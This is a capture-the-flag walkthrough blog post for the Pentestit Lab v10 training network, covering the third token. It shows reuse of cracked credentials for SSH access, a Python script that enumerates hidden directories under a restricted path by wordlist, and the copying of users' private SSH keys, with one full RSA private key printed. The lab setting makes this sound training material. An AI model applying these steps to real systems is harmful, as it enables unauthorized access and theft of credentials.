In my previous post “Pentestit Lab v10 - Site Token (2/13)”, we mapped the attack surface of the GDS Blog, exploited a SQL Inject while bypassing the WAF filter, cracked user credentials, gained administrative access to the blog, and scored our second token. Today we will be leveraging our new found credentials to compromise the gw machine - which will include the following:
- Leveraging Credentials for SSH Access
- Enumerating Linux Files & Directories
- Extracting Private Data
- Finding the SSH Token
Leveraging Credentials for SSH Access:
In my previous post, I was able to compromise the blogs backend SQL Server and managed to attain the credentials of e.lindsey:lindsey123 - which gave me admin access to the Blog.
Since those credentials allowed me admin access, my next step was to try and gain SSH access to the gw machine.
So let’s go ahead and try to access SSH with those credentials.
root@kali:~# ssh firstname.lastname@example.org The authenticity of host '192.168.101.9 (192.168.101.9)' can't be established. ECDSA key fingerprint is SHA256:A5T5DHV6QBNJ/uT+oBYi1VrS+EVZ/vFv+ECwCC/Xp7I. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.101.9' (ECDSA) to the list of known hosts. email@example.com's password: Linux tl10-ssh 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64 Last login: Thu Dec 1 12:17:26 2016 from 10.10.69.138 e.lindsey@tl10-ssh:~$
Awesome! So it seems that our leveraged credentials also have SSH access (network access) to the gw machine, and possibly other machines in the internal network!
Enumerating Linux Files & Directories:
Now that we have internal access to the gw machine, let’s do some enumeration and see if we can’t find anything interesting.
e.lindsey@tl10-ssh:~$ cd .. e.lindsey@tl10-ssh:/home$ ls a.modlin e.lindsey g.leone k.barth m.howard rross s.locklear
Going to the home folder showed me that there are multiple users on the machine - so I decided to dig through each of these folders for any interesting data, but that boded no results.
At this point I decided to look at the root directory to see if there might be any interesting folders left behind.
e.lindsey@tl10-ssh:/home$ cd / e.lindsey@tl10-ssh:/$ ls bin database home lib64 mnt root selinux tmp vmlinuz boot dev initrd.img lost+found opt run srv usr data etc lib media proc sbin sys var
The data folder looked interesting sine it isn’t a common directory in Linux, so let’s dig into that and see if there isn’t anything in there that we can use.
e.lindsey@tl10-ssh:/$ cd data/ e.lindsey@tl10-ssh:/data$ ls -la total 12 drwxr-xr-x 3 root root 4096 Nov 25 14:34 . drwxr-xr-x 24 root root 4096 Nov 25 23:19 .. drwxr-x--x 8 root root 4096 Nov 25 15:14 users e.lindsey@tl10-ssh:/data$ cd users/ e.lindsey@tl10-ssh:/data/users$ ls -la ls: cannot open directory .: Permission denied
Permission Denied? Really…. Well then, that means that there are actual folders in there that we don’t have access to. Possibly folders for all the other users that were located in the /usr folder.
There’s two things we can do here - find and leverage a privilege escalation exploit to gain root privileges, or write a python script to enumerate any files and folders based off the usernames in the /usr folder.
After some digging and enumeration I decided to go the Python Script route - since there was nothing that would allow me to escalate my privileges to root.
After a brief outline and some logic I came up with the following script:
#!/usr/bin/python import os users = open("names.txt", "r") for names in users.readlines(): names = names.replace("\n", "") path = '/data/users/' + names + '/' tmp = os.path.isdir(path) if tmp == True: print path dir = open("common.txt", "r") for dir in dir.readlines(): dir = dir.replace("\n", "") path2 = path + dir tmp2 = os.path.isdir(path2) if tmp2 == True: print '\033[1;34m [+] Directory Found\033[1;m', path2 file = open("common.txt", "r") for file in file.readlines(): file = file.replace("\n", "") path3 = path2 + '/' + file tmp3 = os.path.isfile(path3) if tmp3 == True: print '\033[1;32m [+] File Found\033[1;m', path3
If you don’t know what this script is doing, then I would love to explain it to you - but I suggest you go learn some basic Python and then come back and read it - this way you actually learn and understand the code better.
Either way - a quick over view of the script:
In the first few lines (as seen below) - I am reading in a file called names.txt which contains our attained usernames and naming that variable as “users”. Then I am reading each line from the users file (names.txt) and calling each line “names”.
For each of those names (lines) I mutate the name to remove any whitespace or newline so I just have the name - this prevents any issues when enumerating through the directories.
users = open("names.txt", "r") for names in users.readlines(): names = names.replace("\n", "")
At this point I create another variable called “path” which is set to /data/users/ plus the names variable. For example: for user e.lindsey the path would be - /data/users/e.lindsey.
I also create a “tmp” variable and run an os command to make sure that the path variable is an existent directory. If that path diretory exists, or is True, then we move on to the next portion. If not, go back grab a new username and try again.
path = '/data/users/' + names + '/' tmp = os.path.isdir(path) if tmp == True:
Once the tmp variable is true, we print out the path name to our terminal so we can see what path actually exists.
We then create a new variable called “dir” and open up the “common.txt” wordlist which contains common directory and file names. We then read in each line from dir and save that as a variable called “dir”.
print path dir = open("common.txt", "r") for dir in dir.readlines():
Once we get a new line from dir, we mutate dir to remove whitespaces and any new lines.
We then create a new variable called “path2” and concatenate our previous path variable to dir. Thus it would be something like - /data/users/e.lindsey/admin
We create a “tmp2” variable to see if path2 is a directory, and if True, we continue.
dir = dir.replace("\n", "") path2 = path + dir tmp2 = os.path.isdir(path2) if tmp2 == True:
If the directory from path2 is found, we print it to our terminal.
We create a new variable called “file” and read in the common.txt file again. And once again we read in the lines from file and save that as the “file” variable.
print '\033[1;34m [+] Directory Found\033[1;m', path2 file = open("common.txt", "r") for file in file.readlines():
We replace any whitespaces and newlines in file, create a new variable called “path3” and concatenate path2 to the new file variable.
We then create a new “tmp3” variable, to make sure path3 exists, and continue on. If path3 is True then we print out path3 to our terminal. So it should look like the following - /data/users/e.lindsey/admin/password.
file = file.replace("\n", "") path3 = path2 + '/' + file tmp3 = os.path.isfile(path3) if tmp3 == True: print '\033[1;32m [+] File Found\033[1;m', path3
Once we have our script ready to go, let’s edit our names.txt file and make sure that we have all the usernames found in the gw system.
root@kali:~/gds# nano names.txt root@kali:~/gds# cat names.txt a.modlin e.lindsey g.leone k.barth m.howard rross s.locklear j.wise
Then let’s copy over the common.txt wordlist file to our current working directory, since we will be copying all that over to the gw machine via SCP.
root@kali:~/gds# cp /usr/share/wordlists/dirb/common.txt /root/gds/ root@kali:~/gds# ls names.txt common.txt dir_enum.py gds-authenticator.apk lindsey_hash
Okay, so we have everything in place. Let’s go ahead and copy over the data from here to the /var/tmp location on the gw machine.
root@kali:~/gds# scp dir_enum.py names.txt common.txt firstname.lastname@example.org:/var/tmp email@example.com's password: dir_enum.py 100% 684 6.2KB/s 00:00 names.txt 100% 68 0.6KB/s 00:00 common.txt 100% 35KB 132.8KB/s 00:00
Once that’s completed and successful, let’s SSH back into the gw machine, navigate to /vat/tmp and make sure all the files are there!
Also - just in case, let’s also add “token.txt” into the common.txt file if we happen to stumble upon a token.
e.lindsey@tl10-ssh:/home$ cd /var/tmp/ e.lindsey@tl10-ssh:/var/tmp$ ls -a . .. common.txt dir_enum.py .ipp .n names.txt .sosat e.lindsey@tl10-ssh:/var/tmp$ echo token.txt >> common.txt
Extracting Private Data:
Awesome! We got our script, we know how it works, and we have all the files over on the gw machine!
From here give the script file execution permissions, and run it!
e.lindsey@tl10-ssh:/var/tmp$ chmod +x dir_enum.py e.lindsey@tl10-ssh:/var/tmp$ ./dir_enum.py /data/users/a.modlin/ [+] Directory Found /data/users/a.modlin/docs [+] File Found /data/users/a.modlin/docs/key [+] Directory Found /data/users/a.modlin/tmp /data/users/e.lindsey/ /data/users/g.leone/ [+] Directory Found /data/users/g.leone/files /data/users/m.howard/ /data/users/rross/ [+] Directory Found /data/users/rross/docs [+] File Found /data/users/rross/docs/token.txt [+] File Found /data/users/rross/docs/keys [+] Directory Found /data/users/rross/tmp /data/users/s.locklear/ [+] Directory Found /data/users/s.locklear/docs [+] Directory Found /data/users/s.locklear/files [+] Directory Found /data/users/s.locklear/tmp
Let’s see what we have here…. I see that a.modlin and rross both have key files - so let’s see what they are!
e.lindsey@tl10-ssh:/var/tmp$ cat /data/users/a.modlin/docs/key -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAwgMx4VoP4fW9cM2QClQk3b1hq7CcJ+22hNJ0mebh33qDbPW8 gPEMJxmfYyJJgaegPQ4TxGGYsrWZX7bhu3S9+MK2D4F7daudPfvKRbgmKjOp2HSK V/llnXXwtBbjTffYkrRgnN3T9eo4wadtixsIF7ABztldd7DOdg8GTH5MisL4nqJ6 qBFzB3dWFvfYdW/BCNyKrR7pMPPTpWOeVhqfN/+tnfiZG26Wl9XlTz7PfvGWODqq XnDPLSBlcRxTg0d8VXQEg4Rty4OB8d/4SQadGNdjxHBWu0I84+hkU/Wima1BYuAw /xCl/vbea2rHchrKP5ORNlHc6SzLynbzyxgm1wIDAQABAoIBAGrGH1mKm1scR1oh h7hnfrKaW3qGBCrlZKHMwWdB7eV0I4h/5XKBNtL+Av4oDJRSkJmJec+GdudDklle 6PSl1zdk0ZXPCQdFn5BRVozwP/DR5hO+b7TjCM2T7xjtz8NFN+flZZZvbwvUD9Bk OKFqCxYeQ6B3eD07DSVkN285wx5KIZw7pGGpnT810rzLLMSdZtj3xlmUDeNkzGA1 0fSqZnb8NS3r08t3GNXNKqNCWjXhs3LTCYjGJAvaE+TU8mtcjsO3fsKosTPAMMcO tthMmHG+bs2rafbtEKb+v5fqFHQCPhl195YKjkekpT287ro1Q+rFZ2Jeb8Vo6Ska D+HNMMECgYEA7AoZnLgESe1xDcGhyxc5+Buj8tfChJ8RpWakF+d0tOy3+9WqvYfP LkG0DadqroPMT+HLP08XEHbRvAhXHEymatFCdzTfpNGshh644rWwk/yoWE0ZxYvj hjp6VNJLLFMuTsKFstHe0O5o/5DNzTnBuG75XFdFoX46XDZUvHQKISkCgYEA0mtG HaMu7MswmXSqgPoWs2O77xGeF84U1N0YtrUVTG5orvTmIkZZyoiumdiDCMMTCdVE i6dqAdBa3yHmoxFjPxwulO3Vu1hfDp/3twNBs9X7MwOLbvUecJCBzV2KdoQc/Aad 4p+JpI67CLanrW3WFnE6bdMq4QXB3otH/1NxB/8CgYAmmFAvy/cHj4eY1Dx8VMPp ybs5DgaEYO4luW7DadkvbDV5PCq66uX5jky+ns1W074ooab2JxyCWKtar5Ju0imz 9ZuEmmSnMpGfLI7WoxbIW9u69IBuSL1fSViPXgNksAU2Y6Aw6Rgh2ZnZj/fWwsbm PV8QtkRwb49jXI7mcaLmYQKBgDSdFCwm+H3HFMDaNiQH5JM4de6CRjiHlBfhrONK hifVV6GfpMefNaZ55MadJ66SMHl99STCWLRZZ89xR50wpNNL9a3RhmbQ4vviLet6 CfywnZ4U3dGBwvm8eGhkYlHeGO0/rkzTPXSDJ+s22Nh5pVV5PHXnnkojyWUfCIKk V5f7AoGBANsLGPBhn1J6QwbnNEFfjSaTL2nOlB7iPbHrYKJGD9eJ9IUrI4woX2eb s732ZAAXmdD3cTg+7biIh0hEADNVfXETfX62i1NMkejIQKIcexXGMor/eSlDXSXZ 6UtA5CE4sH4lqKdenEgiGHs6yZbLC7XC6KIIlhw2xi6OZtKM4Efy -----END RSA PRIVATE KEY-----
Ohh this is juicy! We got a Private SSH Key!
We might need these for future exploitation purposes, so we need to save them!
e.lindsey@tl10-ssh:/var/tmp$ cat /data/users/a.modlin/docs/key > a.modlin.key e.lindsey@tl10-ssh:/var/tmp$ cat /data/users/rross/docs/keys > rross.key
Finding the SSH Token:
From our script, we see that rross had the key file hidden away in his directory!
/data/users/rross/ [+] Directory Found /data/users/rross/docs [+] File Found /data/users/rross/docs/token.txt [+] File Found /data/users/rross/docs/keys [+] Directory Found /data/users/rross/tmp
So let’s just cat that, and we will have compromised the SSH Token!
Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!
You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the GW Machine via SSH to get the token!
You learn by doing, so go through this walkthrough, and the lab - and learn something new!
That’s all for now, stay tuned for my next post as we compromise Token (4/13) - The SSH-Test Token!